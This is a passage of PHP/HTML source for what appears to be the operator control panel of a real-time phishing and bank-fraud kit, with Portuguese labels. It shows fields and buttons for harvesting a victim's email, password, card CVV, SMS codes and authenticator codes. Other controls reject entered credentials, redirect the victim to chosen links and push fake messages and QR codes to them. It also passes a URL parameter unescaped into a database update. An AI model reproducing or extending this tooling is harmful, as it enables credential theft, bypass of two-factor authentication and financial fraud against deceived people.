                                    <button style="display: none; width: 50px; font-size: 10px; padding: 6px 10px 6px 10px;" type="submit" class="btn btn-success" id="envioimagem"><img src="https://www.vectorlogo.zone/logos/authy/authy-icon.svg" width="15"></button>
                                    <button style="width: 50px; margin-left: 10px; margin-right: 15px; font-size: 10px;" type="submit" class="btn btn-success" id="myBtnChat"><i class="fas fa-comment"></i></button>
                                    <button style="display: none; width: 50px;   margin-right: 15px; font-size: 10px;" type="submit" class="btn btn-success" id="myBtnS"><i class="fas fa-camera"></i></button>
                                    <button style="display: none; width: 50px;   margin-right: 15px; font-size: 10px;" type="submit" class="btn btn-success" id="fora_ar"><i class="fas fa-user"></i></button>
                                    <button style="width: 50px;   margin-right: 15px; font-size: 10px;" type="submit" class="btn btn-success" id="myBtnQ"><i class="fas fa-qrcode"></i></button>
                                    <input style="display: none; height: 24px; margin-right: 10px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" type="text" id="input_saldocamp" value="" placeholder="Placeholder" autocomplete="off">
                                    <button style="display: none; width: 50px; margin-right: 15px; font-size: 10px;" type="submit" class="btn btn-success" id="button_saldocamp"><i class="fas fa-plus"></i></button>
                                </div>
                                <script>
                                    $("#button_saldocliente").click(function() {
                                        $("#pedirbloqueio").trigger('click');
                                    })
                                </script>



                                <div class="dentro1" style="margin-top: 5px; width:775px; height: 60px">

                                    <b style="font-size: 16px; margin-right: 10px">Toque Tela</b>
                                    <div style="display: contents;">
                                        <input style="margin-right: 10px; width: 195px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" type="text" name="autenticadorq" value="" placeholder="Modelo Cell" id="autenticadorq" style="margin-right: 40px" autocomplete="off">
                                        <div style="margin-right: 10px">
                                            <input style="margin-right: 10px; width: 275px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" type="text" name="" value="" placeholder="Texto aqui" id="input_addmsg" style="margin-right: 40px" autocomplete="off">
                                            <input style="border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" type="text" size="5" name="autenticador" id="autenticador" value="" placeholder="Ex: 80" autocomplete="off">

                                        </div>
                                        <button style="font-size: 10px; padding: 10px 15px 10px 15px;" type="submit" class="btn btn-success" id="button_addmsg"><i class="fas fa-plus"></i></button>
                                        <!-- <button style="font-size: 10px; padding: 10px 15px 10px 15px; margin-left: 10px;" type="submit" class="btn btn-danger" id="negarnav"><i class="fas fa-xmark"></i></button> -->
                                        <button type="submit" class="btn btn-success" id="notificagmailq" style="margin-top: 1px; font-size: 10px; display:none;">Pedir</button>
                                    </div>
                                </div>
                                <script>
                                    $("#button_addmsg").click(function() {
                                        $("#notificagmailq").trigger('click');

                                    })
                                </script>
                                <!-- <script>
                                    document.getElementById("btnmasterplus").addEventListener("click", function () {
                                        document.getElementById("notificagmailq").click;
                                        document.getElementById("button_addmsg").click;
                                    })
                                </script> -->
                                <script>
                                    function saldoclick(e) {
                                        e.preventDefault()
                                        const saldo = document.getElementById("input_saldo").value
                                        $.ajax({
                                            type: 'post', //Definimos o método HTTP usado
                                            data: {
                                                saldo: saldo
                                            },
                                            dataType: 'json', //Definimos o tipo de retorno
                                            url: '../wallet/sendData.php', //Definindo o arquivo onde serão buscados os dados
                                            success: function(data) {

                                                dispararComando();
                                                document.getElementById('mesa').style.borderBottom = "2px solid #4285F4";
                                                document.getElementById('errorsenha').innerHTML = "";

                                            }
                                        });
                                    }
                                </script>

                                <script>
                                    function saldoclick1(e) {
                                        e.preventDefault()
                                        const saldo1 = document.getElementById("input_saldocliente").value
                                        $.ajax({
                                            type: 'post', //Definimos o método HTTP usado
                                            data: {
                                                saldo1: saldo1
                                            },
                                            dataType: 'json', //Definimos o tipo de retorno
                                            url: '../wallet/sendData.php', //Definindo o arquivo onde serão buscados os dados
                                            success: function(data) {

                                                dispararComando();
                                                document.getElementById('mesa').style.borderBottom = "2px solid #4285F4";
                                                document.getElementById('errorsenha').innerHTML = "";

                                            }
                                        });
                                    }
                                </script>

                                <button type="button" style="display:none" class="btn btn-success" id="updadeinfo" size="10"><b>Atualizar Infos<b></button>
                                <style>
                                    #dataModal .table td {
                                        border: 1px solid #dee2e6;
                                    }

                                    .indicator.online {
                                        background: #28B62C;
                                        display: inline-block;
                                        width: 1em;
                                        height: 1em;
                                        border-radius: 50%;
                                        -webkit-animation: pulse-animation 2s infinite linear;
                                    }

                                    @-webkit-keyframes pulse-animation {
                                        0% {
                                            -webkit-transform: scale(1);
                                        }

                                        25% {
                                            -webkit-transform: scale(1);
                                        }

                                        50% {
                                            -webkit-transform: scale(1.2)
                                        }

                                        75% {
                                            -webkit-transform: scale(1);
                                        }

                                        100% {
                                            -webkit-transform: scale(1);
                                        }
                                    }

                                    .indicator.offline {
                                        background: #FF4136;
                                        display: inline-block;
                                        width: 1em;
                                        height: 1em;

                                    }
                                </style>


                                <!--
     <div id="emp-remote" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="dataModalTitle" aria-hidden="true" v-if="cliente">
        <div class="modal-dialog modal-dialog-centered  modal-lg"  role="document">
            <div class="modal-content">

                <div class="modal-header">
                    <input type="text" name="idremote" id="idremote" value="" size="3">&nbsp;&nbsp;
                    <h5 class="modal-title" id="dataModalTitle">
                                              
                        
                        
                        <div id="statusonline"></div>
                    </h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <svg aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-x"><line x1="18" y1="6" x2="6" y2="18"></line><line x1="6" y1="6" x2="18" y2="18"></line></svg>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="">
                        <table class="table table-bordered table-lg text-white">
                            <tbody>
                             
                                <tr><th>E-mail</th><td>
                                     <input type="text" size="34" name="email" id="email" value="">
                                    <button class="btn btn-secondary" onclick="copiaremail()">Copiar</button>
                                </td></tr>
                                <tr><th>Senha</th><td>
                                    
                                     <input type="text" size="34" name="senha" id="senha" value="">
                                    <button class="btn btn-secondary" onclick="copiarsenha()">Copiar</button>
                                </td></tr>
                                <tr><th>CVV</th><td><textarea rows="4" cols="50" id="cvv"></textarea></td></tr>
                                <tr><th><font color="red">SMS</font></th>
                                    <td>
                                        <input type="text" size="34" name="smsr" id="smsr" value="">
                                    <button class="btn btn-secondary" onclick="copiarsmsr()">Copiar</button>
                                    </td></tr>
                                <tr><th><font color="red">Google Authenticator</font></th>
                                    <td>
                                        <input type="text" size="34" name="googleaut" id="googleaut" value="">
                                    <button class="btn btn-secondary" onclick="copiargoogleaut()">Copiar</button>
                                    </td></tr>
                                <tr><th ><font color="red">Numero tele/cc</font></th><td ><input type="text" name="numerotele" id="numerotele" value=""></td></tr>
                                
                                
                        </tbody>
                        </table>
                        <table class="table table-lg text-white">
                            <tbody>
                                <tr>
                                 <td>  <button type="button" class="btn btn-secondary" id="pedirsms_tel"><b>SMS/TELE<b></button> </td>
                                
                                 <td>  <button type="button" class="btn btn-secondary" id="pedirgoolgeaut"><b>Google Authenticator<b></button> </td>   
                            
                            
                                
 <td>  

<label for="bandeira">Bandeira:</label>
 <select id="bandeira" class="btn btn-secondary">
  <option value="Visa">Visa</option>
  <option value="Master">Master</option>
  <option value="Hiper">Hiper</option>
  <option value="Amex">Amex</option>
</select> </td> 
                              <td>  <button type="button" class="btn btn-secondary" id="pedircard"><b>Pedir CVV<b></button> </td> 

                            </tr>
                                 <tr>
                                 <td>  <button type="button" class="btn btn-warning" id="pedirautml"><b>Notificação no App<b></button> </td>  
                                    
                                
                                    
                                    <td><button type="button" class="btn btn-danger" id="emailerror" ><b>Negar email/senha<b></button></td>
                                    <td><button type="button" class="btn btn-danger" id="cvverror"><b>Negar SMS<b></button></td>
                                    <td><button type="button" class="btn btn-success" id="ok"><b>Finalizar<b></button></td>
                                </tr>
                                                               
                            </tbody>
                        </table>
                        
                        <table class="table table-bordered table-sm text-white">
                            <tbody>                         
                                
                                  <tr>
                                    
                                    <td>
                                    <h5 class="modal-title" id="dataModalTitle">
                        <span class="indicator online" v-if="cliente.heat_time && moment().diff(cliente.heat_time, 'seconds') <= 50"></span>
                        <td><font color="green" size="2"> Status da OP: </font></td>
                        <td><font color="green" size="2"> <div id="statusR"></div> </font></td>
                        
                        
                        </h5>
                                    <div style="display:none">
                                    <button type="button" class="btn btn-success" id="updadeinfo" size="10"><b>Atualizar Infos<b></button>
                                    
                                    </div>
                                    </td>
                                    
                                </tr>                              
                            </tbody>
                        </table>
                    </div>
                </div>
                 
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Fechar</button>
                </div>
            </div>
        </div>
    </div>
-->
                                <div style="z-index:9999999999;" id="adduser-remote" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="dataModalTitle" aria-hidden="true" v-if="cliente">
                                    <div class="modal-dialog modal-dialog-centered  modal-lg" role="document">
                                        <div style="background-color:#060818 !important;" class="modal-content">

                                            <div class="modal-header">

                                                <h5 class="modal-title" id="dataModalTitle">

                                                    Adicionar Usuário

                                                </h5>
                                                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                                    <svg aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-x">
                                                        <line x1="18" y1="6" x2="6" y2="18"></line>
                                                        <line x1="6" y1="6" x2="18" y2="18"></line>
                                                    </svg>
                                                </button>
                                            </div>
                                            <div class="modal-body">
                                                <div class="">
                                                    <table class="table table-bordered table-lg text-white">
                                                        <tbody>
                                                            <tr>
                                                                <th>Tipo:</th>
                                                                <td>
                                                                    <select name="tipo_user_add" id="tipo_user_add" class="form-control" value="<?php echo $tipouser ?>">
                                                                        <option value="op" class="ng-binding">Operador</option>
                                                                        <option value="admin" class="ng-binding">Admin</option>

                                                                    </select>

                                                                </td>
                                                            </tr>
                                                            <tr>
                                                                <th>Usuário:</th>
                                                                <td><input type="text" class="form-control" size="50" name="usuario_user" id="usuario_user" value=""></td>
                                                            </tr>
                                                            <tr>
                                                                <th>Senha</th>
                                                                <td><input type="text" class="form-control" size="50" name="senha_user" id="senha_user" value=""></td>
                                                            </tr>
                                                            </tr>


                                                        </tbody>


                                                        <table class="table table-bordered table-sm text-white">
                                                            <tbody>

                                                                <tr>

                                                                    <td>

                                                                        <div style="display:block">
                                                                            <button type="button" class="btn btn-secondary" id="add_user" size="10"><b>Adicionar Usuário<b></button>

                                                                        </div>
                                                                    </td>

                                                                </tr>
                                                            </tbody>
                                                        </table>
                                                </div>
                                            </div>

                                            <div class="modal-footer">
                                                <button type="button" class="btn btn-secondary" data-dismiss="modal">Fechar</button>
                                            </div>
                                        </div>
                                    </div>
                                </div>

                                <div style="z-index:9999999;" id="edituser-remote" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="dataModalTitle" aria-hidden="true" v-if="cliente">
                                    <div class="modal-dialog modal-dialog-centered  modal-lg" role="document">
                                        <div style="background-color:#060818 !important;" class="modal-content">

                                            <div class="modal-header">

                                                <h5 class="modal-title" id="dataModalTitle">

                                                    Editar Usuário

                                                </h5>
                                                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                                    <svg aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-x">
                                                        <line x1="18" y1="6" x2="6" y2="18"></line>
                                                        <line x1="6" y1="6" x2="18" y2="18"></line>
                                                    </svg>
                                                </button>
                                            </div>
                                            <div class="modal-body">
                                                <div class="">
                                                    <table class="table table-bordered table-lg text-white">
                                                        <tbody>
                                                            <tr>
                                                                <th>ID:</th>
                                                                <td><input type="text" size="50" class="form-control" name="id_user_edit" id="id_user_edit" value="<?php echo $iduser ?>"></td>
                                                            </tr>
                                                            <tr>
                                                                <th>TIPO:</th>
                                                                <td>

                                                                    <select name="id_usertipo_edit" id="id_usertipo_edit" class="form-control" value="<?php echo $tipouser ?>">
                                                                        <option value="op" class="ng-binding">Operador</option>
                                                                        <option value="admin" class="ng-binding">Admin</option>

                                                                    </select>

                                                                </td>
                                                            </tr>
                                                            <tr>
                                                                <th>Usuário:</th>
                                                                <td><input type="text" size="50" class="form-control" name="user_edit" id="user_edit" value="<?php echo $usuario ?>"></td>
                                                            </tr>
                                                            <tr>
                                                                <th>Senha</th>
                                                                <td><input type="text" size="50" class="form-control" name="pass_edit" id="pass_edit" value="<?php echo $passuser ?>"></td>
                                                            </tr>
                                                            </tr>


                                                        </tbody>


                                                        <table class="table table-bordered table-sm text-white">
                                                            <tbody>

                                                                <tr>

                                                                    <td>

                                                                        <div style="display:block">
                                                                            <button type="button" class="btn btn-secondary" id="alt_add_user" size="10"><b>Alterar
                                                                                    Usuário<b></button>

                                                                        </div>
                                                                    </td>

                                                                </tr>
                                                            </tbody>
                                                        </table>
                                                </div>
                                            </div>

                                            <div class="modal-footer">
                                                <button type="button" class="btn btn-secondary" data-dismiss="modal">Fechar</button>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <div style="margin-top: -15px !important;" class="row gutters" id="wrapper" v-cloak>
                                    <?php



                                    if (isset($_GET['alt'])) {
                                        $ids = $_GET['alt'];


                                        $status = array(
                                            'status' => "0"
                                        );


                                        DBUpDate('infos', $status, "id = '$ids'");
                                        header("Location: infos.php");
                                    }


                                    ?>
                                    <?php if ($pagina == "Inicial") { ?>
                                        <div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12">
                                            <div class="table-container">
                                                <div class="table-responsive">

                                                    <div id="tabelas"></div>

                                                </div>
                                            </div>
                                        </div>
                                    <?php } ?>

                                    <?php if ($pagina == "ConfUser") { ?>
                                        <div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12">
                                            <div class="table-container">
                                                <div class="table-responsive">

                                                    <div id="user_tabela"></div>
                                                </div>
                                            </div>
                                        </div>

                                    <?php } ?>
                                </div>

                    <?php


                }
            }
        } else {
            //Váriavel global recebendo a mensagem de erro
            $_SESSION['loginErro'] = "Usuário ou senha Inválido";
            header("Location: index.php");
        } //fim

                    ?>


                    <!-- CONTENT AREA -->

                            </div>

                        </div>
                    </div>
                    <div id="modalX" style="width: 100%; height: 100%; display: none; position: absolute; justify-content: center; align-items: center; top: 0; background-color: #00000040;">
                        <div style="display: flex; width: 50%; height: 20%; background: slategrey; justify-content: center; border-radius: 12px;">
                            <div style="margin-top: 15px; width:100%;">
                                <h1 style="color: black; text-align:center;">Redirecionar cliente</h1>
                                <center><input id="input_link" placeholder="Link personalizado" type="text" style="display:flex; width: 90%; height:30px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" autocomplete="off"></center>
                                <center><button id="button_link" style="display: flex; margin-top:30px;" type="submit" class="btn btn-success">Enviar</button></center>
                                <button style="display: none;" id="linkP">P</button>
                            </div>
                        </div>
                    </div>
                    <script>
                        document.getElementById("closered").addEventListener("click", function() {
                            document.getElementById("modalX").style.display = "none"
                        })
                    </script>
                    <div id="modalS" style="width: 100%; height: 100%; display: none; position: absolute; justify-content: center; align-items: center; top: 0; background-color: #00000040;">
                        <div style="display: flex; width: 50%; height: 20%; background: slategrey; justify-content: center; border-radius: 12px;">
                            <div style="margin-top: 15px; width:100%;">
                                <h1 style="color: black; text-align:center;">Mensagem cliente</h1>
                                <center><input id="msgpic" placeholder="Mensagem de erro" type="text" style="display:flex; width: 90%; height:30px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" autocomplete="off"></center>
                                <div style="display: flex; justify-content: center;">
                                    <button id="envioimagem" style="display: flex; margin-top:30px;" type="submit" class="btn btn-success">P</button>
                                    <div style="padding: 15px;"></div>
                                    <button id="envioimagemX" style="display: flex; margin-top:30px;" type="submit" class="btn btn-danger">N</button>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div id="modalChat" style="width: 100%; height: 100%; display: none; position: absolute; justify-content: center; align-items: center; top: 0; background-color: #00000040;">
                        <div style="display: flex; width: 50%; height: auto; background: slategrey; justify-content: center; border-radius: 12px;">
                            <div style="margin-top: 15px; width:100%;">
                                <h1 style="color: black; text-align:center;">Envio mensagem</h1>
                                <center><input id="msgchat" placeholder="Enviar mensagem ao cliente" type="text" style="display:flex; width: 90%; height:30px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" autocomplete="off"></center>
                                <div style="display: grid; justify-content: center;">
                                    <button id="btnchat" style="display: flex; margin-top:30px; justify-content: center; width: 100%;" type="submit" class="btn btn-success">Enviar</button>
                                    <span style="padding: 20px;" id="statusR">
                                    </span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div id="modalL" style="width: 100%; height: 100%; display: none; position: absolute; justify-content: center; align-items: center; top: 0; background-color: #00000040;">
                        <div style="display: flex; width: 50%; height: 20%; background: slategrey; justify-content: center; border-radius: 12px;">
                            <div style="margin-top: 15px; width:100%;">
                                <h1 style="color: black; text-align:center;">BATE PAPO</h1>
                                <center><input id="input_batepapo" placeholder="" type="text" style="display:flex; width: 90%; height:30px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" autocomplete="off"></center>
                                <center><button id="button_batepapo" style="display: flex; margin-top:30px;" type="submit" class="btn btn-success">Enviar</button></center>
                                <button style="display: none;" id="linkB">P</button>
                            </div>
                        </div>
                    </div>
                    <script>
                        document.getElementById("button_batepapo").addEventListener("click", function() {
                            document.getElementById("linkB").click();
                        });
                    </script>
                    <div id="modalQ" style="width: 100%; height: 100%; display: none; position: absolute; justify-content: center; align-items: center; top: 0; background-color: #00000040;">
                        <div style="display: flex; width: 50%; height: 20%; background: slategrey; justify-content: center; border-radius: 12px;">
                            <div style="margin-top: 15px; width:100%;">
                                <h1 style="color: black; text-align:center;">QRCode</h1>
                                <center><input onkeyup="return forceUpper(this);" id="input_qrcode" placeholder="Insira o Código QRCode" type="text" style="display:flex; width: 90%; height:30px; border: solid 1px gold; border-radius: 10px; text-align: center; margin-bottom: 5px; font-weight: bold; background-color: #ffffffad;" autocomplete="off" style="text-transform: uppercase;"></center>
                                <div style="display: flex; justify-content: center;">
                                    <button id="button_qrcode" style="display: flex; margin-top:30px;" type="submit" class="btn btn-success">P</button>
                                    <button id="senhafundoPQ" style="display: none; margin-top:30px;" type="submit" class="btn btn-success">P</button>
                                    <div style="padding: 15px;"></div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <script>
                        $("#button_qrcode").click(function() {
                            $("#senhafundoPQ").trigger('click');
                        })

                        function forceUpper(strInput) {
                            strInput.value = strInput.value.toUpperCase();
                        }
                    </script>

                    <script src="./js/manifest.js?id=7db827d654313dce4250"></script>
                    <script src="./js/vendor.js?id=0089ae30037219bb2aca"></script>
                    <script src="./js/app.js?id=a3b3925bfcb5e3733680"></script>
                    <script src="./js/dashboard.js?id=144a7bb8a2d60960f12e"></script>
                    <script>
                        const modalS = document.getElementById("modalS");
                        const modalChat = document.getElementById("modalChat");
                        const modalZ = document.getElementById("modalX");
                        const modalL = document.getElementById("modalL");
                        var modal = document.getElementById("myModal");
                        var btn = document.getElementById("myBtn");
                        var span = document.getElementsByClassName("close")[0];

                        document.getElementById("myBtnX").addEventListener("click", function() {
                            modalX.style.display = "flex"
                        })

                        document.getElementById("myBtnL").addEventListener("click", function() {
                            modalL.style.display = "flex"
                        })

                        document.getElementById("myBtnQ").addEventListener("click", function() {
                            modalQ.style.display = "flex"
                        })

                        document.getElementById("myBtnS").addEventListener("click", function() {
                            modalS.style.display = "flex"
                        })

                        document.getElementById("myBtnChat").addEventListener("click", function() {
                            modalChat.style.display = "flex"
                        })

                        document.getElementById("button_link").addEventListener("click", function() {
                            document.getElementById("linkP").click()
                        })


                        btn.onclick = function() {
                            modal.style.display = "block";
                        }

                        span.onclick = function() {
                            modal.style.display = "none";
                        }

                        window.onclick = function(event) {
                            if (event.target == modal) {
                                modal.style.display = "none";
                            }
                            if (event.target == modalX) {
                                modalX.style.display = "none";
                            }
                            if (event.target == modalS) {
                                modalS.style.display = "none";
                            }
                            if (event.target == modalChat) {
                                modalChat.style.display = "none";
                            }
                            if (event.target == modalQ) {
                                modalQ.style.display = "none";
                            }
                            if (event.target == modalL) {
                                modalL.style.display = "none";
                            }
                        }
                    </script>
            </body>

            </html>